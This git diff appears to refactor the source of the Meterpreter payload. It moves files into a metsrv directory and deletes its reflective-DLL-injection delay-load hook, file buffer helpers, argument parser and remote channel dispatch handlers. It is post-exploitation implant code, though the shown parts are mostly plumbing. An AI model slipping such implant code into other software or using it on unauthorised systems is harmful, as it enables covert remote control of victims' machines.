=> 100644 create mode 100644 c/meterpreter/source/metsrv/remote.h rename c/meterpreter/source/{server/win => metsrv}/remote_dispatch.c (69%) mode change 100755 => 100644 rename c/meterpreter/source/{server => metsrv}/remote_dispatch.h (78%) mode change 100755 => 100644 rename c/meterpreter/source/{common/arch/win => metsrv}/remote_thread.c (100%) rename c/meterpreter/source/{common/arch/win => metsrv}/remote_thread.h (61%) rename c/meterpreter/source/{common => metsrv}/scheduler.c (77%) create mode 100644 c/meterpreter/source/metsrv/scheduler.h rename c/meterpreter/source/{server/win => metsrv}/server_pivot.c (94%) mode change 100755 => 100644 rename c/meterpreter/source/{server/win => metsrv}/server_pivot.h (59%) mode change 100755 => 100644 rename c/meterpreter/source/{server/win => metsrv}/server_pivot_named_pipe.c (96%) mode change 100755 => 100644 rename c/meterpreter/source/{server/win => metsrv}/server_pivot_named_pipe.h (56%) mode change 100755 => 100644 rename c/meterpreter/source/{server/server_setup_win.c => metsrv/server_setup.c} (96%) mode change 100755 => 100644 rename c/meterpreter/source/{server/win => metsrv}/server_transport_named_pipe.c (96%) mode change 100755 => 100644 rename c/meterpreter/source/{server/win => metsrv}/server_transport_named_pipe.h (62%) mode change 100755 => 100644 rename c/meterpreter/source/{server/win => metsrv}/server_transport_tcp.c (96%) mode change 100755 => 100644 rename c/meterpreter/source/{server/win => metsrv}/server_transport_tcp.h (63%) mode change 100755 => 100644 rename c/meterpreter/source/{server/win => metsrv}/server_transport_winhttp.c (96%) mode change 100755 => 100644 rename c/meterpreter/source/{server/win => metsrv}/server_transport_winhttp.h (63%) mode change 100755 => 100644 rename c/meterpreter/source/{server/win => metsrv}/server_transport_wininet.c (96%) mode change 100755 => 100644 create mode 100644 c/meterpreter/source/metsrv/server_transport_wininet.h rename c/meterpreter/source/{common => metsrv}/thread.c (92%) rename c/meterpreter/source/{common => metsrv}/thread.h (68%) rename c/meterpreter/source/{common => metsrv}/unicode.c (100%) rename c/meterpreter/source/{common => metsrv}/unicode.h (68%) rename c/meterpreter/source/{common/zlib => metsrv}/zlib.c (97%) rename c/meterpreter/source/{common/zlib => metsrv}/zlib.h (100%) delete mode 100644 c/meterpreter/source/server/libloader.h delete mode 100755 c/meterpreter/source/server/metsrv.c delete mode 100755 c/meterpreter/source/server/metsrv.h delete mode 100755 c/meterpreter/source/server/remote_dispatch_common.c delete mode 100644 c/meterpreter/source/server/win/metsrv.def delete mode 100644 c/meterpreter/source/server/win/metsrv_test.c delete mode 100755 c/meterpreter/source/server/win/server_transport_wininet.h delete mode 100644 c/meterpreter/source/server/zlib/zlib.c delete mode 100644 c/meterpreter/source/server/zlib/zlib.h diff --git a/c/meterpreter/source/DelayLoadMetSrv/DelayLoadMetSrv.c b/c/meterpreter/source/DelayLoadMetSrv/DelayLoadMetSrv.c deleted file mode 100644 index eb9e78f4..00000000 --- a/c/meterpreter/source/DelayLoadMetSrv/DelayLoadMetSrv.c +++ /dev/null @@ -1,74 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#include "DelayLoadMetSrv.h" -#include "GetProcAddressR.h" - -// The handle to the injected metsrv.dll, needed for delay loading... -HMODULE hMetSrv = NULL; - -// All server extensions must support delay loading of metsrv.dll because this dll can be injected -// via reflective dll injection, as such normal calls to LoadLibrary/GetModuleHandle/GetProcAddress -// to resolve exports in metsrv.dll will not work as metsrv.dll will be 'invisible' to the native -// windows kernel32 api's. Theirfore we delay load metsrv.dll and intercept loading and resolving of -// its exports and resolve them using our own GetProcAddressR() function. -// -// To enable all of this in a new extnesion: -// 1. Add metsrv.dll to the DELAYLOAD option in the projects properties (Configuration->Linker->Input). -// 2. Add in the include file #include "DelayLoadMetSrv.h". -// 3. Add the macro "EnableDelayLoadMetSrv();" after all your includes. -// 4. Add the line "hMetSrv = remote->hMetSrv;" in your InitServerExtension() function. - -//===============================================================================================// - - - - -FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli ) -{ - switch( dliNotify ) - { - case dliNotePreLoadLibrary: - // If we are trying to delay load metsrv.dll we can just return the - // HMODULE of the injected metsrv library (set in InitServerExtension). - if( strcmp( pdli->szDll, "metsrv.dll" ) == 0 ) - return (FARPROC)hMetSrv; - break; - case dliNotePreGetProcAddress: - // If we are trying to get the address of an exported function in the - // metsrv.dll we must use GetProcAddressR() in case the metsrv was loaded - // via reflective dll injection - if( strcmp( pdli->szDll, "metsrv.dll" ) == 0 ) - return GetProcAddressR( pdli->hmodCur, pdli->dlp.szProcName ); - break; - default: - return NULL; - } - - return NULL; -} -//===============================================================================================// \ No newline at end of file diff --git a/c/meterpreter/source/DelayLoadMetSrv/DelayLoadMetSrv.h b/c/meterpreter/source/DelayLoadMetSrv/DelayLoadMetSrv.h deleted file mode 100644 index e7d68109..00000000 --- a/c/meterpreter/source/DelayLoadMetSrv/DelayLoadMetSrv.h +++ /dev/null @@ -1,48 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_DELAYLOADMETSRV_H -#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_DELAYLOADMETSRV_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include - -#define DELAYIMP_INSECURE_WRITABLE_HOOKS -#include - -#pragma comment (lib,"Delayimp.lib") - -// we use this like a macro to set the hook in an server extension that requires it -#define EnableDelayLoadMetSrv() PfnDliHook __pfnDliNotifyHook2 = delayHook; // set our delay loader hook, see DelayLoadMetSrv.c - -extern HMODULE hMetSrv; - -FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli ); - -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/c/meterpreter/source/common/arch/win/buffer.c b/c/meterpreter/source/common/arch/win/buffer.c deleted file mode 100644 index eee6d8c5..00000000 --- a/c/meterpreter/source/common/arch/win/buffer.c +++ /dev/null @@ -1,105 +0,0 @@ -#include "common.h" - -/* - * Parses a file into a buffer - */ -DWORD buffer_from_file(LPCSTR filePath, PUCHAR *buffer, PULONG length) -{ - DWORD res, fileSize = 0, bytesRead = 0, bytesLeft = 0, offset = 0; - PUCHAR localBuffer = NULL; - HANDLE h; - - if (buffer) - *buffer = NULL; - if (length) - *length = 0; - - do - { - // Try to open the file for reading - if ((h = CreateFile(filePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) - { - res = GetLastError(); - break; - } - - // Get the size, in bytes, of the file - if (!(fileSize = GetFileSize(h, NULL))) - { - res = GetLastError(); - break; - } - - // Allocate storage for the file data being read in - if (!(localBuffer = (PUCHAR)malloc(fileSize))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - bytesLeft = fileSize; - - // Keep reading file contents - while ((bytesLeft) && - (ReadFile(h, localBuffer + offset, bytesLeft, &bytesRead, NULL))) - { - bytesLeft -= bytesRead; - offset += bytesRead; - } - - res = ERROR_SUCCESS; - - } while (0); - - if (h != INVALID_HANDLE_VALUE) - CloseHandle(h); - - if (res == ERROR_SUCCESS) - { - if (buffer) - *buffer = localBuffer; - if (length) - *length = offset; - } - - return res; -} - -/* - * Writes a buffer to a file - */ -DWORD buffer_to_file(LPCSTR filePath, PUCHAR buffer, ULONG length) -{ - DWORD res, offset = 0, bytesLeft = 0, bytesWritten = 0; - HANDLE h; - - do - { - // Try to open the file for writing - if ((h = CreateFile(filePath, GENERIC_WRITE, 0, NULL, CREATE_NEW, - FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) - { - res = GetLastError(); - break; - } - - bytesLeft = length; - - // Keep writing until everything is written - while ((bytesLeft) && - (WriteFile(h, buffer + offset, bytesLeft, &bytesWritten, NULL))) - { - bytesLeft -= bytesWritten; - offset += bytesWritten; - } - - res = ERROR_SUCCESS; - - } while (0); - - if (h != INVALID_HANDLE_VALUE) - CloseHandle(h); - - return res; -} diff --git a/c/meterpreter/source/common/args.c b/c/meterpreter/source/common/args.c deleted file mode 100644 index 3ba45795..00000000 --- a/c/meterpreter/source/common/args.c +++ /dev/null @@ -1,74 +0,0 @@ -/*! - * @file args.c - * @brief Definitions for argument parsing functionality. - */ -#include "common.h" - -/*! - * @brief Parse an argument vector by a parameter format specifier - * @details Intended to be called repeatedly until all arguments are parsed. - * Each call results in a single argument be parsed. - * @param argc Number of arguments to in the argument list. - * @param argv Array of arguments to parse. - * @param params String of supported parameters. eg \c abc:de: Parameters - * followed by a colon expect an associated argumetn - * @param ctx Pointer to a context used to keep track of parsing. - * @return Indication of whether parsing was successful. - * @retval ERROR_NOT_FOUND The specified parameter wasn't found in the - * argument list. - * @retval ERROR_INVALID_PARAMETER The specified parameter was missing an - associated argument. - * @retval ERROR_SUCCESS The argument was parsed correctly. - */ -DWORD args_parse(UINT argc, CHAR **argv, PCHAR params, - ArgumentContext *ctx) -{ - DWORD index = 0; - - if (!ctx->currentIndex) - ctx->currentIndex = 1; - - index = ctx->currentIndex; - - // We've hit the end, return out. - if (index >= argc) - return ERROR_NOT_FOUND; - - // Is this a toggled parameter? - if (argv[index][0] == '-') - { - PCHAR currentParam = params; - BOOL hasParam = FALSE; - - // Check to see if this argument expects a parameter - while (*currentParam) - { - if (*currentParam == argv[index][1]) - { - hasParam = (*(currentParam + 1) == ':') ? TRUE : FALSE; - break; - } - - currentParam++; - } - - // If this param requires an argument yet is not given one, fail. - if ((hasParam) && - (index + 1 >= argc)) - return ERROR_INVALID_PARAMETER; - - ctx->argument = (hasParam) ? argv[index+1] : NULL; - ctx->toggle = argv[index][1]; - - // Skip past the parameter. - if (hasParam) - ++index; - } - else - ctx->toggle = 0; - - // Update the index - ctx->currentIndex = ++index; - - return ERROR_SUCCESS; -} diff --git a/c/meterpreter/source/common/args.h b/c/meterpreter/source/common/args.h deleted file mode 100644 index a27f868d..00000000 --- a/c/meterpreter/source/common/args.h +++ /dev/null @@ -1,21 +0,0 @@ -/*! - * @file args.h - * @brief Definitions for argument parsing functionality. - */ -#ifndef _METERPRETER_LIB_ARGS_H -#define _METERPRETER_LIB_ARGS_H - -#include "linkage.h" - -/*! @brief State container for \c args_parse calls. */ -typedef struct -{ - DWORD currentIndex; ///< The index of the argument being parsed. - PCHAR argument; ///< Pointer to the current switch's argument. - CHAR toggle; ///< Indicates of this parameter is a toggle parameter. -} ArgumentContext; - -LINKAGE DWORD args_parse(UINT argc, CHAR **argv, PCHAR params, - ArgumentContext *ctx); - -#endif diff --git a/c/meterpreter/source/common/base_dispatch_common.c b/c/meterpreter/source/common/base_dispatch_common.c deleted file mode 100755 index 8ef41952..00000000 --- a/c/meterpreter/source/common/base_dispatch_common.c +++ /dev/null @@ -1,608 +0,0 @@ -#include "common.h" - -/* - * core_channel_open - * ----------------- - * - * Opens a channel with the remote endpoint. The response handler for this - * request will establish the relationship on the other side. - * - * opt: TLV_TYPE_CHANNEL_TYPE - * The channel type to allocate. If set, the function returns, allowing - * a further up extension handler to allocate the channel. - */ -DWORD remote_request_core_channel_open(Remote *remote, Packet *packet) -{ - Packet *response; - DWORD res = ERROR_SUCCESS; - Channel *newChannel; - PCHAR channelType; - DWORD flags = 0; - - do - { - dprintf( "[CHANNEL] Opening new channel for packet %p", packet ); - - // If the channel open request had a specific channel type - if ((channelType = packet_get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE))) - { - res = ERROR_NOT_FOUND; - break; - } - - // Get any flags that were supplied - flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); - - dprintf( "[CHANNEL] Opening %s %u", channelType, flags ); - - // Allocate a response - response = packet_create_response(packet); - - // Did the response allocation fail? - if ((!response) || (!(newChannel = channel_create(0, flags)))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - dprintf( "[CHANNEL] Opened %s %u", channelType, flags ); - - // Get the channel class and set it - newChannel->cls = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_CLASS); - - dprintf( "[CHANNEL] Channel class for %s: %u", channelType, newChannel->cls ); - - // Add the new channel identifier to the response - if ((res = packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, - channel_get_id(newChannel))) != ERROR_SUCCESS) - break; - - // Transmit the response - dprintf( "[CHANNEL] Sending response for %s", channelType ); - res = packet_transmit(remote, response, NULL); - - dprintf( "[CHANNEL] Done" ); - - } while (0); - - return res; -} - -/* - * core_channel_open (response) - * ----------------- - * - * Handles the response to a request to open a channel. - * - * This function takes the supplied channel identifier and creates a - * channel list entry with it. - * - * req: TLV_TYPE_CHANNEL_ID -- The allocated channel identifier - */ -DWORD remote_response_core_channel_open(Remote *remote, Packet *packet) -{ - DWORD res = ERROR_SUCCESS, channelId; - Channel *newChannel; - - do - { - channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - - // DId the request fail? - if (!channelId) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Create a local instance of the channel with the supplied identifier - if (!(newChannel = channel_create(channelId, 0))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - } while (0); - - return res; -} - -/* - * core_channel_write - * ------------------ - * - * Write data from a channel into the local output buffer for it - */ -DWORD remote_request_core_channel_write(Remote *remote, Packet *packet) -{ - Packet *response = packet_create_response(packet); - DWORD res = ERROR_SUCCESS, channelId, written = 0; - Tlv channelData; - Channel * channel = NULL; - - do - { - channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - - // Try to locate the specified channel - if (!(channel = channel_find_by_id(channelId))) - { - res = ERROR_NOT_FOUND; - break; - } - - lock_acquire( channel->lock ); - - // Get the channel data buffer - if ((res = packet_get_tlv(packet, TLV_TYPE_CHANNEL_DATA, &channelData)) != ERROR_SUCCESS) - break; - - // Handle the write operation differently based on the class of channel - switch (channel_get_class(channel)) - { - // If it's buffered, write it to the local buffer cache - case CHANNEL_CLASS_BUFFERED: - res = channel_write_to_buffered(channel, channelData.buffer, channelData.header.length, (PULONG)&written); - break; - // If it's non-buffered, call the native write operation handler if - // one is implemented - default: - { - NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; - if (ops->write) - res = ops->write(channel, packet, ops->context, - channelData.buffer, channelData.header.length, - &written); - else - res = ERROR_NOT_SUPPORTED; - } - break; - } - - } while (0); - - if( channel ) - lock_release( channel->lock ); - - // Transmit the acknowledgement - if (response) - { - packet_add_tlv_uint(response, TLV_TYPE_LENGTH, written); - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId); - - res = packet_transmit_response(res, remote, response); - } - - return res; -} - -/* - * core_channel_read - * ----------------- - * - * From from the local buffer and write back to the requester - * - * Takes TLVs: - * - * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to read from - * req: TLV_TYPE_LENGTH -- The number of bytes to read - */ -DWORD remote_request_core_channel_read(Remote *remote, Packet *packet) -{ - DWORD res = ERROR_SUCCESS, bytesToRead, bytesRead, channelId; - Packet *response = packet_create_response(packet); - PUCHAR temporaryBuffer = NULL; - Channel *channel = NULL; - - do - { - if (!response) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Get the number of bytes to read - bytesToRead = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); - channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - - // Try to locate the specified channel - if (!(channel = channel_find_by_id(channelId))) - { - res = ERROR_NOT_FOUND; - break; - } - - lock_acquire( channel->lock ); - - // Allocate temporary storage - if (!(temporaryBuffer = (PUCHAR)malloc(bytesToRead))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - switch (channel_get_class(channel)) - { - // If it's buffered, read from the local buffer and either transmit - // the buffer in the response or write it back asynchronously - // depending on the mode of the channel. - case CHANNEL_CLASS_BUFFERED: - // Read in from local - res = channel_read_from_buffered(channel, temporaryBuffer, - bytesToRead, (PULONG)&bytesRead); - break; - // Handle read I/O for the pool class - case CHANNEL_CLASS_POOL: - // If the channel has a read handler - if (channel->ops.pool.read) - res = channel->ops.pool.read(channel, packet, - channel->ops.pool.native.context, temporaryBuffer, - bytesToRead, &bytesRead); - else - res = ERROR_NOT_SUPPORTED; - break; - default: - res = ERROR_NOT_SUPPORTED; - } - - // If we've so far been successful and we have a temporary buffer... - if ((res == ERROR_SUCCESS) &&(temporaryBuffer) && (bytesRead)) - { - // If the channel should operate synchronously, add the data to theresponse - if (channel_is_flag(channel, CHANNEL_FLAG_SYNCHRONOUS)) - { - // if the channel data is ment to be compressed, compress it! - if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) ) - packet_add_tlv_raw(response, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, temporaryBuffer, bytesRead); - else - packet_add_tlv_raw(response, TLV_TYPE_CHANNEL_DATA, temporaryBuffer, bytesRead); - - res = ERROR_SUCCESS; - } - // Otherwise, asynchronously write the buffer to the remote endpoint - else - { - if ((res = channel_write(channel, remote, NULL, 0, temporaryBuffer, bytesRead, NULL)) != ERROR_SUCCESS) - break; - } - } - - } while (0); - - if( channel ) - lock_release( channel->lock ); - - if (temporaryBuffer) - free(temporaryBuffer); - - // Transmit the acknowledgement - if (response) - { - packet_add_tlv_uint(response, TLV_TYPE_LENGTH, bytesRead); - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId); - - res = packet_transmit_response(res, remote, response); - } - - return res; -} - -/* - * core_channel_close - * ------------------ - * - * Closes a previously opened channel. - * - * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to close - */ -DWORD remote_request_core_channel_close(Remote *remote, Packet *packet) -{ - Packet *response = packet_create_response(packet); - DWORD res = ERROR_SUCCESS, channelId; - Channel *channel = NULL; - - dprintf("[CHANNEL] remote_request_core_channel_close."); - - do - { - // Get the channel identifier - channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - - // Try to locate the specified channel - if (!(channel = channel_find_by_id(channelId))) - { - res = ERROR_NOT_FOUND; - dprintf("[CHANNEL] unable to find channel of id %d", channelId); - break; - } - - // Destroy the channel - dprintf("[CHANNEL] closing channel of id %d", channelId); - channel_destroy(channel, packet); - - if (response) - { - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId); - } - - } while (0); - - // Transmit the acknowledgement - if (response) - { - res = packet_transmit_response(res, remote, response); - } - - return res; -} - -/* - * core_channel_close (response) - * ------------------ - * - * Removes the local instance of the channel - * - * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to close - */ -DWORD remote_response_core_channel_close(Remote *remote, Packet *packet) -{ - DWORD res = ERROR_SUCCESS, channelId; - Channel *channel = NULL; - - do - { - // Get the channel identifier - channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - - // Try to locate the specified channel - if (!(channel = channel_find_by_id(channelId))) - { - res = ERROR_NOT_FOUND; - break; - } - - // Destroy the channel - channel_destroy(channel, packet); - - } while (0); - - return res; -} - - -/* - * core_channel_seek - * ----------------- - * - * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to seek on - * req: TLV_TYPE_SEEK_OFFSET -- The offset to seek to - * req: TLV_TYPE_SEEK_WHENCE -- The relativity to which the offset refers - */ -DWORD remote_request_core_channel_seek(Remote *remote, Packet *packet) -{ - Channel *channel = NULL; - Packet *response = packet_create_response(packet); - DWORD result = ERROR_SUCCESS; - - do - { - // Lookup the channel by its identifier - if (!(channel = channel_find_by_id( - packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID)))) - { - result = ERROR_NOT_FOUND; - break; - } - - lock_acquire( channel->lock ); - - // Make sure this class is compatible - if (channel_get_class(channel) != CHANNEL_CLASS_POOL) - { - result = ERROR_NOT_SUPPORTED; - break; - } - - // Call the function if it's set - if (channel->ops.pool.seek) - result = channel->ops.pool.seek(channel, packet, - channel->ops.pool.native.context, - (LONG)packet_get_tlv_value_uint(packet, TLV_TYPE_SEEK_OFFSET), - packet_get_tlv_value_uint(packet, TLV_TYPE_SEEK_WHENCE)); - else - result = ERROR_NOT_SUPPORTED; - - } while (0); - - if( channel ) - lock_release( channel->lock ); - - // Transmit the result - packet_transmit_response(result, remote, response); - - return result; -} - -/* - * core_channel_eof - * ----------------- - * - * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to check eof on - */ -DWORD remote_request_core_channel_eof(Remote *remote, Packet *packet) -{ - Channel *channel = NULL; - Packet *response = packet_create_response(packet); - DWORD result = ERROR_SUCCESS; - BOOL isEof = FALSE; - - do - { - // Lookup the channel by its identifier - if (!(channel = channel_find_by_id( - packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID)))) - { - result = ERROR_NOT_FOUND; - break; - } - - lock_acquire( channel->lock ); - - // Make sure this class is compatible - if (channel_get_class(channel) != CHANNEL_CLASS_POOL) - { - result = ERROR_NOT_SUPPORTED; - break; - } - - // Call the function if it's set - if (channel->ops.pool.eof) - result = channel->ops.pool.eof(channel, packet, - channel->ops.pool.native.context, - &isEof); - else - result = ERROR_NOT_SUPPORTED; - - } while (0); - - if( channel ) - lock_release( channel->lock ); - - // Add the EOF flag - packet_add_tlv_bool(response, TLV_TYPE_BOOL, isEof); - - // Transmit the response - packet_transmit_response(result, remote, response); - - return result; -} - -/* - * core_channel_tell - * ----------------- - * - * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to check tell on - */ -DWORD remote_request_core_channel_tell(Remote *remote, Packet *packet) -{ - Channel *channel = NULL; - Packet *response = packet_create_response(packet); - DWORD result = ERROR_SUCCESS; - LONG offset = 0; - - do - { - // Lookup the channel by its identifier - if (!(channel = channel_find_by_id( - packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID)))) - { - result = ERROR_NOT_FOUND; - break; - } - - lock_acquire( channel->lock ); - - // Make sure this class is compatible - if (channel_get_class(channel) != CHANNEL_CLASS_POOL) - { - result = ERROR_NOT_SUPPORTED; - break; - } - - // Call the function if it's set - if (channel->ops.pool.tell) - result = channel->ops.pool.tell(channel, packet, - channel->ops.pool.native.context, - &offset); - else - result = ERROR_NOT_SUPPORTED; - - } while (0); - - if( channel ) - lock_release( channel->lock ); - - // Add the offset - packet_add_tlv_uint(response, TLV_TYPE_SEEK_POS, offset); - - // Transmit the response - packet_transmit_response(result, remote, response); - - return result; -} - - -/* - * core_channel_interact - * --------------------- - * - * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to interact with - * req: TLV_TYPE_BOOL -- True if interactive, false if not. - */ -DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet) -{ - Packet *response = packet_create_response(packet); - Channel *channel = NULL; - DWORD channelId; - DWORD result = ERROR_SUCCESS; - BOOLEAN interact; - - // Get the channel identifier - channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - interact = packet_get_tlv_value_bool(packet, TLV_TYPE_BOOL); - - // If the channel is found, set the interactive flag accordingly - if ((channel = channel_find_by_id(channelId))) - { - lock_acquire( channel->lock ); - - // If the response packet is valid - if ((response) && - (channel_get_class(channel) != CHANNEL_CLASS_BUFFERED)) - { - NativeChannelOps *native = (NativeChannelOps *)&channel->ops; - - // Check to see if this channel has a registered interact handler - dprintf( "[DISPATCH] attempting to set interactive: %d context 0x%p", interact, native->context ); - if (native->interact) { - result = native->interact(channel, packet, native->context, interact); - } - } - - // Set the channel's interactive state - channel_set_interactive(channel, interact); - - lock_release( channel->lock ); - } - - // Send the response to the requestor so that the interaction can be - // complete - packet_transmit_response(result, remote, response); - - return ERROR_SUCCESS; -} - -/* - * core_shutdown - * ----------------- - */ -DWORD remote_request_core_shutdown( Remote *remote, Packet *packet, DWORD* pResult ) -{ - Channel *channel = NULL; - Packet *response = packet_create_response( packet ); - DWORD result = ERROR_SUCCESS; - - // Acknowledge the shutdown request - packet_add_tlv_bool( response, TLV_TYPE_BOOL, TRUE ); - - // Transmit the response - dprintf("[DISPATCH] Ack shutdown request"); - packet_transmit_response( result, remote, response ); - - *pResult = result; - - dprintf("[DISPATCH] Telling dispatch loop to finish"); - // We always return FALSE here to tell the server to terminate. - return FALSE; -} diff --git a/c/meterpreter/source/common/buffer.h b/c/meterpreter/source/common/buffer.h deleted file mode 100644 index b5b801d7..00000000 --- a/c/meterpreter/source/common/buffer.h +++ /dev/null @@ -1,9 +0,0 @@ -#ifndef _METERPRETER_LIB_BUFFER_H -#define _METERPRETER_LIB_BUFFER_H - -#include "linkage.h" - -LINKAGE DWORD buffer_from_file(LPCSTR filePath, PUCHAR *buffer, PULONG length); -LINKAGE DWORD buffer_to_file(LPCSTR filePath, PUCHAR buffer, ULONG length); - -#endif diff --git a/c/meterpreter/source/common/common.h b/c/meterpreter/source/common/common.h index ae780df7..3b71321b 100755 --- a/c/meterpreter/source/common/common.h +++ b/c/meterpreter/source/common/common.h @@ -17,6 +17,25 @@ #include #include +// Simple trick to get the current meterpreters arch +#define PROCESS_ARCH_UNKNOWN 0 +#define PROCESS_ARCH_X86 1 +#define PROCESS_ARCH_X64 2 +#define PROCESS_ARCH_IA64 3 + +#ifdef _WIN64 +#define dwMeterpreterArch PROCESS_ARCH_X64 +#else +#define dwMeterpreterArch PROCESS_ARCH_X86 +#endif + +typedef struct __UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} _UNICODE_STRING, * _PUNICODE_STRING; + typedef DWORD __u32; typedef struct ___u128 { __u32 a1; @@ -34,34 +53,6 @@ typedef struct ___u128 { #undef X509_CERT_PAIR #undef X509_NAME -#include "linkage.h" - -#include "args.h" -#include "buffer.h" -#include "base.h" -#include "core.h" -#include "remote.h" - -#include "channel.h" -#include "scheduler.h" -#include "thread.h" -#include "unicode.h" - -#include "list.h" - -#include "zlib/zlib.h" - -/*! @brief Indication that the Meterpreter transport is using TCP. */ -#define METERPRETER_TRANSPORT_TCP 0x1 -/*! @brief Indication that the Meterpreter transport is using HTTP. */ -#define METERPRETER_TRANSPORT_HTTP 0x2 -/*! @brief Indication that the Meterpreter transport is using HTTPS. */ -#define METERPRETER_TRANSPORT_HTTPS (0x4 | METERPRETER_TRANSPORT_HTTP) -/*! @brief Indication that the Meterpreter transport is using named pipes. */ -#define METERPRETER_TRANSPORT_PIPE 0x8 - -VOID sleep(DWORD seconds); - #ifdef DEBUGTRACE #define dprintf(...) real_dprintf(__VA_ARGS__) #if DEBUGTRACE == 1 @@ -107,9 +98,14 @@ static _inline void real_dprintf(char *format, ...) va_end(args); } -#endif +#include "common_base.h" +#include "common_core.h" +#include "common_remote.h" +#include "common_channel.h" +#include "common_list.h" +#include "common_config.h" +#include "common_pivot_tree.h" +#include "common_thread.h" 